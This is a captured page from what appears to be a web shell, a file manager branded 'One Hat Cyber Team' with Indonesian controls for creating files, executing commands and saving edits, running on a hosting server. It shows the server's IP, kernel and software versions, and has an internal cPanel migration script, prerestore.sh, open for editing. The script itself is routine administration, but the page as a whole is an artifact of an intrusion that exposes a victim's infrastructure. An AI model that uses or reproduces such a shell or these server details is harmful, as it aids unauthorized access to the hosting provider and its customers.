One Hat Cyber Team
Your IP :
216.73.217.126
Server IP :
185.33.55.30
Server :
Linux cl30.webspacecontrol.com 5.14.0-611.38.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 10 17:21:28 EDT 2026 x86_64
Server Software :
Apache
PHP Version :
8.1.34
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
opt
/
transferfixer
/
Edit File:
prerestore.sh
#!/bin/bash cpuser=$1 olduser=$2 extractdir=$3 _BACKUPDIR=/opt/transferfixer/backups/${cpuser} echo "-------- $0 : BEGIN ---------" echo "Creating directory: ${_BACKUPDIR}" mkdir -p ${_BACKUPDIR} mkdir -p ${_BACKUPDIR}/zones echo "------------------------------------------------" echo "Extracting variables" _OLD_IP=$(grep '^IP=' ${extractdir}/cp/* | head -n1 | cut -d= -f2) _OLD_HOST=$( /usr/bin/dig +short -x ${_OLD_IP} ) _IPV6=$( dig +short aaaa ${olduser}.ipv6.loginssl.com ) _IPV6_ENC=$( echo "${_IPV6}" | sed 's,:,%3A,g' ) _OLD_HOST_PHPV=$( ssh ${_OLD_HOST} -o StrictHostKeyChecking=no selectorctl --show-native-version ) echo ${_OLD_IP} >${_BACKUPDIR}/OLDIP echo ${_OLD_HOST} >${_BACKUPDIR}/OLDHOST set >${_BACKUPDIR}/ENV echo ${_OLD_HOST_PHPV} >${_BACKUPDIR}/OLDHOST_PHPV _ZONES=$( ssh ${_OLD_HOST} -o StrictHostKeyChecking=no /root/DR2cP/functions.cp.sh testfnc get_base_domains $olduser ) _OLD_MAINIP=$( ssh ${_OLD_HOST} -o StrictHostKeyChecking=no cat /var/cpanel/mainip ) echo ${_OLD_MAINIP} >${_BACKUPDIR}/OLDMAINIP echo "Retrieving old zone files (${_ZONES})" for _zone in ${_ZONES}; do echo rsync -av ${_OLD_HOST}:/var/named/${_zone}.db ${_BACKUPDIR}/zones/${_zone}.db rsync -av ${_OLD_HOST}:/var/named/${_zone}.db ${_BACKUPDIR}/zones/${_zone}.db done if [ $( echo ${_OLD_MAINIP} | grep '185\.33\.5' | wc -l ) -gt 0 ]; then echo "Disabling IPv6 on account ${olduser} on the old host ${_OLD_HOST}" RV="$( ssh ${_OLD_HOST} -o StrictHostKeyChecking=no whmapi1 ipv6_disable_account user=${olduser} 2>&1 )" echo "${RV}" echo "Removing IPv6 range (${olduser}) from the old host (${_OLD_HOST})" RV="$( ssh ${_OLD_HOST} -o StrictHostKeyChecking=no whmapi1 ipv6_range_remove name=${olduser} 2>&1 )" echo "${RV}" echo "Adding IPv6 range (${olduser} - ${_IPV6}) to the new host ($( hostname -f ))" whmapi1 ipv6_range_add enabled=1 name=${cpuser} range=${_IPV6_ENC} fi echo "-------- $0 : END ---------"
Simpan